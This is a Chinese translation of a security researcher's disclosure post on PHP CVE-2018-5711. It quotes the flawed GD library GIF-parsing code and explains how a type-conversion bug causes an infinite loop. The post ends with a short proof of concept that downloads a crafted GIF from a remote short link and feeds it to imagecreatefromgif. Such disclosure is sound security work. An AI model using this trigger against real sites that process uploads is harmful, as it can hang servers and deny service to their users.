PHP GIF解析漏洞CVE-2018-5711:恶意GIF图像导致服务器无限循环

本文详细分析了PHP CVE-2018-5711漏洞,该漏洞存在于GD库的GIF解析代码中,由于类型转换错误导致恶意GIF图像可触发无限循环,耗尽服务器资源,影响所有PHP版本。

PHP CVE-2018-5711 - 通过恶意GIF挂起网站

作者:Orange Tsai(@orange_8361) from DEVCORE

最近,我审查了几个Web框架和语言实现,发现了一些漏洞。这是一个简单而有趣的案例,在现实世界中似乎很容易利用!

受影响版本

所有PHP版本

  • PHP 5 < 5.6.33
  • PHP 7.0 < 7.0.27
  • PHP 7.1 < 7.1.13
  • PHP 7.2 < 7.2.1

漏洞详情

漏洞位于文件 ext/gd/libgd/gd_gif_in.c 中。在 LWZReadByte_ 函数中存在一个while循环:

1
2
3
4
460    do {
461        sd->firstcode = sd->oldcode =
461        GetCode(fd, &sd->scd, sd->code_size, FALSE, ZeroDataBlockP);
463    } while (sd->firstcode == sd->clear_code);

函数 GetCode 只是一个包装器,真正的功能由 GetCode_ 完成。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
376    static int
377    GetCode_(gdIOCtx *fd, CODE_STATIC_DATA *scd, int code_size, int flag, int *ZeroDataBlockP)
378    {
379        int           i, j, ret;
380        unsigned char count;
           ... 

399        if ((count = GetDataBlock(fd, &scd->buf[2], ZeroDataBlockP)) <= 0)
400            scd->done = TRUE;
           ...
           
405    }

GetCode_ 调用 GetDataBlock 从GIF读取数据!

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
332    static int
333    GetDataBlock_(gdIOCtx *fd, unsigned char *buf, int *ZeroDataBlockP)
334    {
335     unsigned char   count;
336    
336     if (! ReadOK(fd,&count,1)) {
338         return -1;
339     }
340    
341     *ZeroDataBlockP = count == 0;
342    
343     if ((count != 0) && (! ReadOK(fd, buf, count))) {
344         return -1;
345     }
346
347     return count;
348    }

好了,这里就是所有有漏洞的代码,你能发现漏洞吗?:P

这个漏洞依赖于从 intunsigned char 的类型转换。如你所见: 如果 GetDataBlock_ 返回-1,第400行的 scd->done 将被设置为 True,并停止while循环。但由于 count 的定义是 unsigned char,它始终是一个从0到255的正数,因此永远不会执行。

所以结果是,一个单独的GIF可以导致无限循环,耗尽服务器资源。

PoC

1
2
3
4
$ curl -L https://git.io/vN0n4 | xxd -r > poc.gif
$ php -r 'imagecreatefromgif("poc.gif");'

  这里无限循环...

在现实世界中很容易利用,因为许多网站通过GD库调整用户上传的图像大小…

结语

我将在未来披露更多0-day漏洞!

参考

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计